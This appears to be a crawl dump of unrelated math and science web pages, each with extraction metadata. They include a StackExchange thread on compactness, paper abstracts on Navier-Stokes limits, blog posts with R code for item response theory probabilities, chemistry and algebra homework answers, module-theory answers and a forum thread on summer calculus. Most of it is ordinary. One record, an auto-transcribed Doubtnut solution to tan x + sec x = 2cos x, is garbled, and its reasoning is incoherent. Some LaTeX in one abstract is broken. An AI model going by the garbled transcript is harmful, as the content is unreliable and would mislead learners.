{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.8999720215797424, "perplexity": 571.3893553350566}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2021-21/segments/1620243989637.86/warc/CC-MAIN-20210518125638-20210518155638-00592.warc.gz"}
https://math.stackexchange.com/questions/2997937/compactness-of-intersection-of-a-compact-set-and-an-open-set
# Compactness of intersection of a compact set and an open set If $$K \subset E_1 \cup E_2$$, where $$K$$ is compact and $$E_1, E_2$$ are disjoint open subsets of a topological space, is $$K \cap E_1$$ compact? Is that always the case if $$E_1, E_2$$ are not disjoint? I've seen other threads that have this, so I was wondering why the solution I thought of is incorrect: Let $$U_{\alpha}$$ be an open covering of $$K$$. Then because $$K$$ is compact, there is a finite subcovering $$U_1, U_2, \ldots, U_N \in U_{\alpha}$$ that cover $$K$$. But then $$U_1, \ldots, U_N, E_1$$ is a finite collection of open sets that covers $$K$$ and $$E_1$$, so it covers $$K \cap E_1$$, and so $$K \cap E_1$$ must be compact. • If $E_1$ and $E_2$ are not disjoint, you might as well take $E_2=X$ (the whole space); so you're just asking, if $K$ is compact and $E_1$ is open, is $K\cap E_1$ compact? – bof Nov 14 '18 at 8:05 • If $E_1,E_2$ don't have to be disjoint, here is a counterexample: $K=[0,1]$, $E_1=(0,1)$, $E_2=\mathbb R$. $E_1$ and $E_2$ are open subsets of the space $\mathbb R$, $K$ is a compact subset of $E_1\cup E_2$, but $K\cap E_1=E_1$ is not compact. – bof Nov 14 '18 at 8:08 • If your argument were correct (which it is not), it would prove that any subset of a compact set is compact. – bof Nov 14 '18 at 8:09 • Yes, I realize the conclusion of this "proof" is incorrect, but I was wondering where the flaw was that led to this false conclusion. – user386867 Nov 14 '18 at 8:10 • To prove that $K\cap E_1$ is compact, you have to show that any open cover of $K\cap E_1$ has a finite subcover. Proving that an open cover of $K$ has a finite subcover doesn't do it. – bof Nov 14 '18 at 8:11 Assuming that your space is Hausdorff $$K\setminus E_2=K\cap E_1$$ and $$K\setminus E_2$$ is compact. On second thoughts you don't need Hausdorff property!. • Where do you think you need Hausdorff? If $E_1$ and $E_2$ are disjoint and $K\subseteq E_1\cup E_2$ then $K\cap E_1=K\setminus E_2$ is just set theory. If $K$ is compact and $E_2$ is open then $K\setminus E_2$ is compact in any topological space. – bof Nov 14 '18 at 8:15 Your proof should start with a cover $$\mathcal{U}$$ (WLOG by open sets of $$X$$) of $$K \cap E_1$$, and produce a finite subcover of that: Add the one set $$E_2$$ to $$\mathcal{U}$$ and we have an open cover of $$K$$ (any set in $$K$$ lies in $$E_1$$ or $$E_2$$ and the first ones are covered by $$\mathcal{U}$$ the other by $$E_2$$..) and so $$\mathcal{U} \cup \{E_2\}$$ has a finite subcover $$\mathcal{U}'$$ and then $$\mathcal{U}'\setminus \{E_2\}$$ is still finite (smaller than the finite $$\mathcal{U}'$$) and a subcover of $$\mathcal{U}$$. So $$K \cap E_1$$ is compact. Alternatively note that $$K\cap E_1 = K \cap (X\setminus E_2)$$ and thus is a closed subset of the compact $$K$$ and hence compact too.
2019-10-24 01:53:43
{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 36, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.8920431137084961, "perplexity": 89.13203472787863}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2019-43/segments/1570987838289.72/warc/CC-MAIN-20191024012613-20191024040113-00227.warc.gz"}
https://projecteuclid.org/euclid.maa/1255958148
## Methods and Applications of Analysis ### Viscous Limits to Piecewise Smooth Solutions for the Navier-Stokes Equations of One-dimensional Compressible Viscous Heat-conducting Fluids Shixiang Ma #### Abstract In this paper, we study the zero dissipation limit problem for the Navier-Stokes equations of one-dimensional compressible viscous heat-conducting fluids. We prove that if the solution of the inviscid Euler equations is piecewise smooth with finitely many noninteracting shocks satisfying the entropy condition, then there exist solutions to Navier-Stokes equations which converge to the inviscid solution away from shock discontinuities at a rate of $\epsilon^1$ as the viscosity $\epsilon$ tend to zero, provided that the heat-conducting coefficient $k = 0($\epsilon\$). #### Article information Source Methods Appl. Anal., Volume 16, Number 1 (2009), 1-32. Dates First available in Project Euclid: 19 October 2009
2019-12-15 00:58:33
{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.7502332925796509, "perplexity": 782.8574811752866}, "config": {"markdown_headings": true, "markdown_code": false, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2019-51/segments/1575541297626.61/warc/CC-MAIN-20191214230830-20191215014830-00410.warc.gz"}
http://www.gonulates.com/psychometrics/tag/three-parameter-model-3pm/
# An R Function to Calculate Response Probabilities in IRT I’d like to write an R function on how to calculate item response probabilities for Item Response Theory (IRT) models. In this article I will consider only dichotomous items. In the previous post I mentioned about three parameter model. In this post I will show a more general model: Four parameter model introduced by Barton and Lord (1981) to alleviate excessive punishment of high ability examinees when they make an error. $\displaystyle {{P}_{i}}\left( \theta \right)={{c}_{i}}+\left( d-{{c}_{i}} \right)\frac{{{e}^{D\cdot {{a}_{i}}\left( \theta -{{b}_{i}} \right)}}}{1+{{e}^{D\cdot {{a}_{i}}\left( \theta -{{b}_{i}} \right)}}}$ In this model, θ is the ability of an examinee, P(θ) is the probability of correctly responding i’th item for this examinee, d is the upper asymptote, c is pseudo-guessing parameter, a is item discrimination parameter, b is item difficulty parameter for I‘th examinee. D is scaling constant, it’s value is 1.7. If d parameter is set 1, we get three parameter model: $\displaystyle {{P}_{i}}\left( \theta \right)={{c}_{i}}+\left( 1-{{c}_{i}} \right)\frac{{{e}^{D\cdot {{a}_{i}}\left( \theta -{{b}_{i}} \right)}}}{1+{{e}^{D\cdot {{a}_{i}}\left( \theta -{{b}_{i}} \right)}}}$ If pseudo-guessing parameter c is set to 0, we get two parameter model: $\displaystyle {{P}_{i}}\left( \theta \right)=\frac{{{e}^{D\cdot {{a}_{i}}\left( \theta -{{b}_{i}} \right)}}}{1+{{e}^{D\cdot {{a}_{i}}\left( \theta -{{b}_{i}} \right)}}}$ If item discrimination value fixed for model and does not change from item to another item we get one parameter model: $\displaystyle {{P}_{i}}\left( \theta \right)=\frac{{{e}^{D\cdot a\left( \theta -{{b}_{i}} \right)}}}{1+{{e}^{D\cdot a\left( \theta -{{b}_{i}} \right)}}}$ Finally, if we set item discrimination parameter to 1, we get Rasch model: $\displaystyle {{P}_{i}}\left( \theta \right)=\frac{{{e}^{D\left( \theta -{{b}_{i}} \right)}}}{1+{{e}^{D\left( \theta -{{b}_{i}} \right)}}}$ Let’s write a basic R function to calculate probability of correct response to item with parameters (a,b,c,d) for an examinee with ability θ. irt.3pl.basic <- function(t,a=1,b,c=0,d=1,D=1.7) { return( c + (d-c) / (1 + exp(-a * D * (t - b))) ) } Let’s run this function with two examples. In the first example I’ll calculate the probability of correct response for an examinee with ability 0 to a question with item parameters a=1,b=0,c=0,d=1. theta <- 0; a <- 1; b <- 0; c <- 0; d <- 1; irt.3pl.basic(t=theta,a=a,b=b,c=c,d=d) [1] 0.5 Since examinee’s ability and items difficulty corresponds there is a 50% chance that this examinee will correctly answer this question. In the next example let’s consider three examinees with theta’s -1,0 and 1. theta <- c(-1,0,1) a <- 1 b <- 0 c <- 0 d <- 1; irt.3pl.basic(t=theta,a=a,b=b,c=c,d=d) [1] 0.1544653 0.5000000 0.8455347 Results are as expected. Examinee with ability -1 has a low probability of correctly answering this question. Reverse is true for examinee with high ability. In the next step, I’ll graph item characteristic curve of an item with parameters a=0.7; b=0.5; c=0.2; d=.98: theta <- seq(-4,4,by=.1) Probability <- irt.3pl.basic(t=theta,a=0.7, b=0.5, c=0.2, d=.98) plot(theta,Probability,type="l") In the next plot I will extend this function to a multi item and multi ability case. ## References Barton, M.A., & Lord, F.M. (1981). An Upper Asymptote for the Three-Parameter Logistic Item-Response Model. Arlington, Va.: Office of Naval Research, Personnel and Training Research Programs Office. # A Basic Demonstration of Three Parameter Logistic Model in R Item response theory’s three parameter logistic model is well known. I leave the explanation of this model to major sources (such as Lord (1980), page 12). The equation is as follows: $P\left(\theta\right)=c+\frac{1-c}{1+{{e}^{-1.7\cdot a\cdot\left(\theta-b\right)}}}$ where θ denotes ability, a denotes item discrimination parameter, b denotes item difficulty parameter and c denotes guessing parameter. For an examinee who has ability θ, P(θ) is the probability of correctly answering a question with parameters a, b, c. D=1.7 is put to make this logistic curve approach to normal ogive curve. (more on this in later posts) Let’s write a basic code in R for calculating probability of correctly answering a question with (a,b,c) parameters. (I’m assuming R is already installed: http://www.r-project.org ) If we enter the following code to R, it will give the probability of correctly answering an item with parameters (a=1,b=0.5,c=0.2). (You can enter just the parts after “>”, red fonts are outputs, green fonts are comments) > # First enter parameters > a = 1 > b = 0.5 > c = 0.2 > theta = 1 > # P is the probability of correctly answering the item with (a,b,c) parameters > P = c + (1-c) / (1+exp(-1.7*a*(theta-b))) > P [1] 0.7604537 As can be seen, P is 0.76. An examinee with ability 1 (θ=1), would answer this item with probability 0.76. How about examinees with abilities ranging from -3 to 3? For these examinees, what are the probabilities of correctly answering this question? First, let’s give new values to theta: > theta = -3:3 > theta [1] -3 -2 -1 0 1 2 3 Then, let’s calculate the probabilities corresponding to each theta and show it. (I used “cbind” function of R for better presentation) > P = c + (1-c) / (1+exp(-1.7*a*(theta-b))) > cbind(theta,P) theta P [1,] -3 0.2020793 [2,] -2 0.2112509 [3,] -1 0.2579412 [4,] 0 0.4395463 [5,] 1 0.7604537 [6,] 2 0.9420588 [7,] 3 0.9887491 This seems good. Lets’ graph it with following code: > plot(theta,P) Here is the graph: Graph is fine but it can be more detailed. So, I define more dense theta’s and calculate the probabilities each. Then graph it. Here is the code for doing this: > # First define new thetas > # “seq(-3,3,0.1)” means: sequence of numbers from -3 to 3 with interval 0.1. > theta = seq(-3,3,0.1) > # Then calculate probabilities > P = c + (1-c) / (1+exp(-1.7*a*(theta-b))) > # Then graph thetas on x axis and probabilities on y axis: > plot(theta,P) Here is the graph: All of these are for the item with parameters (a=1,b=0.5,c=0.2). Next, let’s change the item parameters to (a=.8,b=0,c=0.1), and plot the probabilities of correctly answering this item for various thetas. > # Enter new parameters > a = 0.8 > b = 0 > c = 0.1 > theta = seq(-3,3,0.1) > # Calculate probability of correctly answering this new item for all of these thetas > P = c + (1-c) / (1+exp(-1.7*a*(theta-b))) This time, I will plot probabilities as a line instead of points. So, I add ‘ type=”l” ‘ to the plot command: > plot(theta,P,type=”l”) Here is the plot: I’d like to see both items on same graph. So, let’s define first item’s parameters as (a1,b1,c1) and probabilities as P1. Similarly, define second item’s parameters as (a2,b2,c2) and probabilities as P2: > # First items’ parameters > a1 = 1 > b1 = 0.5 > c1 = 0.2 > P1 = c1 + (1-c1) / (1+exp(-1.7*a1*(theta-b1))) > # Second items’ parameters > a2 = 0.8 > b2 = 0 > c2 = 0.1 > P2 = c2 + (1-c2) / (1+exp(-1.7*a2*(theta-b2))) Next, plot the two graphs. Here, I plot the first item first, then second item on top of it. First item is shown by blue line, second item by red line. Also, I define the limits of y axis as 0 to 1 (by: “ylim=c(0,1)”) to show guessing parameter better. Code for plot: > plot(theta,P1,col=”red”,type=”l”,ylim=c(0,1)) > lines(theta,P2,col=”blue”) Here is the plot: Voila! In the next post, I’m planning to create an R function to calculate probabilities and create plots. References: Lord, F.M. (1980). Applications of item response theory to practical testing problems: L. Erlbaum Associates Hillsdale, NJ.
2015-10-09 23:56:56
{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 1, "img_math": 6, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.8663432598114014, "perplexity": 2707.532104870159}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 20, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2015-40/segments/1443737936627.82/warc/CC-MAIN-20151001221856-00099-ip-10-137-6-227.ec2.internal.warc.gz"}
http://www.aimsciences.org/AIMS-Conference/conf-reg2014/ss/detail.php?abs_no=710
Display Abstract Title On the stability of the weak attractor of the 3D Navier-Stokes equations Name Michele Coti Zelati Country USA Email micotize@indiana.edu Co-Author(s) Submit Time 2014-02-19 09:19:29 Session Special Session 2: Nonlinear evolution PDEs and interfaces in applied sciences Contents We consider the three-dimensional Navier-Stokes-Voigt (NSV) equations and we analyze, from the asymptotic behavior viewpoint, its Navier-Stokes (NS) limit as the relaxation parameter vanishes. We show that the NSV-attractors converge to the weak NS-attractor in the Hausdorff semidistance induced by the weak $L^2$-metric on the absorbing set of the Navier-Stokes equations. Some results related to the strong topology of $L^2$ are also proved.
2018-04-25 14:04:52
{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.1816331148147583, "perplexity": 1619.300329746314}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2018-17/segments/1524125947822.98/warc/CC-MAIN-20180425135246-20180425155246-00190.warc.gz"}
https://socratic.org/questions/55936dbf11ef6b1a9420a95e
# Question #0a95e Jul 1, 2015 #### Explanation: Relative atomic mass of $A l = 27$ and $C l = 35.5$ To form $A l C {l}_{3}$ you need these in the ratio: $\frac{m \left(C l\right)}{m \left(A l\right)} = \frac{3 \cdot 35.5}{1 \cdot 27} = \frac{106.5}{27} \to$ $m \left(C l\right) = \frac{106.5}{27} \cdot m \left(A l\right) = \frac{106.5}{27} \cdot 13.5 = 53.2 g$ The mass of the $A l C {l}_{3}$ $m \left(A l C {l}_{3}\right) = 13.5 + 53.2 = 66.7 g$
2019-10-22 12:17:54
{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 7, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.8901739120483398, "perplexity": 3854.7705747745667}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2019-43/segments/1570987817685.87/warc/CC-MAIN-20191022104415-20191022131915-00109.warc.gz"}
https://socratic.org/questions/how-do-you-simplify-4x-5-2
How do you simplify (4x + 5)^2? Mar 4, 2018 $= 16 {x}^{2} + 40 x + 25$ Explanation: ${\left(4 x + 5\right)}^{2}$ $= \left(4 x + 5\right) \left(4 x + 5\right)$ Distribute $= \left(4 x\right) \left(4 x\right) + \left(4 x\right) \left(5\right) + \left(5\right) \left(4 x\right) + \left(5\right) \left(5\right)$ $= 16 {x}^{2} + 20 x + 20 x + 25$ $= 16 {x}^{2} + 40 x + 25$ Mar 4, 2018 $16 {x}^{2} + 40 x + 25$ Explanation: This is a perfect square: ${\left(a + b\right)}^{2} = {a}^{2} + 2 a b + {b}^{2}$ Plug in: $16 {x}^{2} + 2 \cdot 4 x \cdot 5 + 25$ $16 {x}^{2} + 40 x + 25$ You could also write it out: $\left(4 x + 5\right) \left(4 x + 5\right)$ $16 {x}^{2} + 20 x + 20 x + 25$ $16 {x}^{2} + 40 x + 25$
2020-01-25 16:47:49
{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 13, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.5168561339378357, "perplexity": 9578.947491665978}, "config": {"markdown_headings": false, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2020-05/segments/1579251678287.60/warc/CC-MAIN-20200125161753-20200125190753-00101.warc.gz"}
http://math.stackexchange.com/tags/modules/hot
# Tag Info 2 It's just a question of terminology and usefulness. As far as terminology, there's the standard definition of linear independence and there's your definition. We need to pick one to be called "linearly independent" and the other needs to be called something else. It just so happens that the standard definition is the one we've picked. Of course this ... 2 Assuming we are additionally given that $0\le m<N$, then, yes, it is possible to reveal $m$: Just try the candidates one by one and check if $(m+r)^e\bmod B$ turns out to be $C$. Mathematically, this solves the problem. Also, we have found an explicit algorithm, albeit with exponential running time ($O(N)$, which is linear in $N$, but exponential in the ... 2 Direct summands of free $R$-modules are called projective $R$-modules, so I'd be using that terminology here. Let $(A, \mathfrak{m}, k)$ be a local ring with maximal ideal $\mathfrak{m}$ and residue field $k = A/\mathfrak{m}$. Let $M$ be a finitely generated projective $A$-module. Pick a minimal generating set of cardinality $n$ for $M$ (you can do this by ... 1 This isn't true. Consider a finite Galois extension $K$ of $\mathbf{Q}$ in which the prime $p$ is inert. Look at the morphism $\mathrm{Spec}(\mathscr{O}_K)\to\mathrm{Spec}(\mathbf{Z})$, which is finite. The fiber over $(p)$ is the spectrum of $\mathscr{O}_K\otimes_\mathbf{Z}\mathbf{F}_p=\mathscr{O}_K/p\mathscr{O}_K$. The dimension of ... 1 We can regard $M[x]$ as an $R$-algebra rather than a $R$-module. Change the word 'module' to 'algebra' in your description, then you get the universal property of $M[x]$. 1 Assume you have relations $\sum_j a_j r_{j,l} = 0$ with $a_j \in P$, $r_{j,l} \in R$, $1 \le j \le n$, and $1 \le l \le p$, as in Theorem 4.24(3). Let $e_j$ denote the $j$-th standard unit vector of $R^n$. Now let $K$ be the submodule of $R^n$ generated by $\{ \sum_{j} e_j r_{j,l} \mid 1 \le l \le p\}$. Set $M=R^n/K$ and let $\lambda \colon M \to P$ be ... 1 This answer uses the equivalent characterizations of injective indecomposibles from Theorem 3.52 in T.Y. Lam, Lectures on Modules and Rings. In particular, it follows from this theorem that $M$ is uniform and that $M$ is the injective envelope of each of its nonzero submodules. Since $P$ is an associated prime of $M$, there exists a nonzero submodule $N ... 1 Yes, unless$V$is trivial. I'll help you unpack the definitions, but I'll leave the meat of the problem to you. Observation. Let$V$denote a$k$-module. Then$V$is a simple$\text{End}_k V$-module iff:$V$has at least two distinct$k$-submodules, Every non-trivial$k$-submodule of$V$that is closed under the action of$\text{End}_k V$... 1 Hint: The answer is yes (as is often the case for finite dimensional vector spaces). Note that for any$v \in V \setminus \{0\}$, we may select maps$T_1,\dots,T_n \in A$so that$\{T_j(v)\}$forms a basis (or a spanning set, if you prefer). 1 Yes, the inclusion of a factor into a direct product$M \to M \oplus N$defined by$m \mapsto (m, 0)$is always an injective homomorphism no matter what modules you choose for$M$and$N$. In particular, you can inject$M \to M \oplus R[G]^n$not just for some$n$, but in fact for any$n$. If$M$and$N$are$G\$-modules then it would be a good exercise for ... Only top voted, non community-wiki answers of a minimum length are eligible
2015-09-05 13:01:11
{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.9884322285652161, "perplexity": 143.32768230530075}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2015-35/segments/1440646249598.96/warc/CC-MAIN-20150827033049-00309-ip-10-171-96-226.ec2.internal.warc.gz"}
https://www.physicsforums.com/threads/calculus-2-for-summer.694363/
# Calculus 2 for summer? 1. May 29, 2013 ### Dan350 Calculus 2 for summer?? Hello users!,, What do you think about taking calculus 2 on summer??? Any of you have taken that course in summer? What can you say about it? Is it hard?? Also veryy important,, i got an A- in calc 1 I like math Im taking the course on july 11, it ends at august 19,, which is like 6 weeks! Im teaching myself and I want to know which topics should i focus to do very well in class.. Integration by parts?? Trig Sub? Thank you very much,, hope you ca help me Cheers! 2. May 29, 2013 ### verty Learn these: $\frac{d}{dx} sin^{-1}x$, $\frac{d}{dx} cos^{-1}x$, etc. This will come in handy. 3. May 29, 2013 ### Staff: Mentor It will probably be tougher than if taken during the regular school terms, because presumably the same material is being compressed into a shorter term. Make sure you really understand the chain rule of differentiation, since that is at the heart of the ordinary substitution technique of integration. Also, be sure you understand the product rule, since that is what's behind integration by parts. For trig substitution, be sure you understand the derivatives of the six trig functions and how all six can be defined in terms of either sin(x) or cos(x). 4. May 29, 2013 ### Lebombo At one school, I took Trig as a summer course and the professor told us up front that if we are taking trig for a short summer semester, then either we already know the material or are not math majors who are interested in really learning the material, so it's not really necessary to delve as deep into the topic as he would normally do during a regular semester. We memorized a few formulas w/o understanding how they were derived, plugged in numbers to those few memorized formulas, and most everyone passed. Didn't learn how to use trig I had to go back to the trig book during Calc 1 semester (which was a constant pain to have to do). Wish I would have taken it during a regular semester. At my current university, my professor doesn't teach calc 1 or 2 during summer exactly for the reason Mark44 stated. He is not willing to sacrifice content due to the semester timeframe, thus ensures all his students are held to the appropriate standard. So taking a summer math semester probably depends on how much of calc 2 you already know and/or are comfortable just barely covering in class. Last edited: May 29, 2013
2018-03-18 12:22:40
{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.7894970774650574, "perplexity": 1117.7972895030528}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2018-13/segments/1521257645613.9/warc/CC-MAIN-20180318110736-20180318130736-00483.warc.gz"}
https://www.doubtnut.com/question-answer/find-the-number-of-solution-of-tan-x-sec-x-2-cos-x-in-02pi-644008220
Home > English > Class 12 > Maths > Chapter > Trigonometric Equations And Inequations > Find the number of solution of... # Find the number of solution of tan x + sec x =2 cos x in [0,2pi] Updated On: 27-06-2022 UPLOAD PHOTO AND GET THE ANSWER NOW! Text Solution Step by step solution by experts to help you in doubt clearance & scoring excellent marks in exams. Transcript hello friends so in this question it is given to me that find the number of solution of 10 X + 1 X is equals to 2 cos x in 0222 let's first given equation the given equation is 10 plus set in which is equals to to cause sore from this in the sin cos formula can write 10 is equals to sin x + cos x upon cos x to take LCM of 1 + 2 cos square X formula that 2 cos x minus 1 is equals to cos 2x formula of cos sin x is equals to cos 2x to let's then the graph will make a graph and check the this between 02213 will make the time we can see its graph will be like this this this means it completes its one cycle as we can see and now for the cost so here are the cause but here at the place of xef2 considered to it's me when it what the path complete it will complete it will be start from 1 this part of you will be start from one end it here -1 to 1 of 1 will be start from here it it will be handed over to it will be it will be fine Gali will be from this it will be increase and it goes one in it we can see 23523 power to evaluate their is -1 it it it it will be plus one and it this so from this we can see that how many times their touching to this is a one point of touch this is another and this is another point to this point value is 3.2 and this is we can see there touching each other so from this there is 3 solutions but we have to see at 10:00 you very very minus infinity it means that this office is entertainment and it this it will be easy sweetmeats we can't consider this solution at this point we can consider this solution for by this there are only two solutions one solution is the same one solutions to the number of solutions in this equation for the number of solution rating is to
2022-12-06 21:21:25
{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.7045497298240662, "perplexity": 439.2262699795976}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.3, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2022-49/segments/1669446711114.3/warc/CC-MAIN-20221206192947-20221206222947-00486.warc.gz"}
https://stats.stackexchange.com/questions/233390/cluster-wind-direction
